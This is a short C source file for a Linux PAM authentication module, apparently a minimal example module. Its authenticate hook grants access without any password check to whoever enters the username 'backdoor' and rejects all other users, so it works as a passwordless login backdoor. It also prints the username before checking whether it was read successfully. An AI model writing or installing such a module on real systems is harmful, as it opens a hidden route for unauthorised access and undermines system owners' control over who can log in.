| 1 | #include <stdio.h> |
| 2 | #include <stdlib.h> |
| 3 | #include <string.h> |
| 4 | #include <security/pam_appl.h> |
| 5 | #include <security/pam_modules.h> |
| 6 | |
| 7 | /* expected hook */ |
| 8 | PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { |
| 9 | return PAM_SUCCESS; |
| 10 | } |
| 11 | |
| 12 | PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { |
| 13 | printf("Acct mgmt\n"); |
| 14 | return PAM_SUCCESS; |
| 15 | } |
| 16 | |
| 17 | /* expected hook, this is where custom stuff happens */ |
| 18 | PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { |
| 19 | int retval; |
| 20 | |
| 21 | const char* pUsername; |
| 22 | retval = pam_get_user(pamh, &pUsername, "Username: "); |
| 23 | |
| 24 | printf("Welcome %s\n", pUsername); |
| 25 | |
| 26 | if (retval != PAM_SUCCESS) { |
| 27 | return retval; |
| 28 | } |
| 29 | |
| 30 | if (strcmp(pUsername, "backdoor") != 0) { |
| 31 | return PAM_AUTH_ERR; |
| 32 | } |
| 33 | |
| 34 | return PAM_SUCCESS; |
| 35 | } |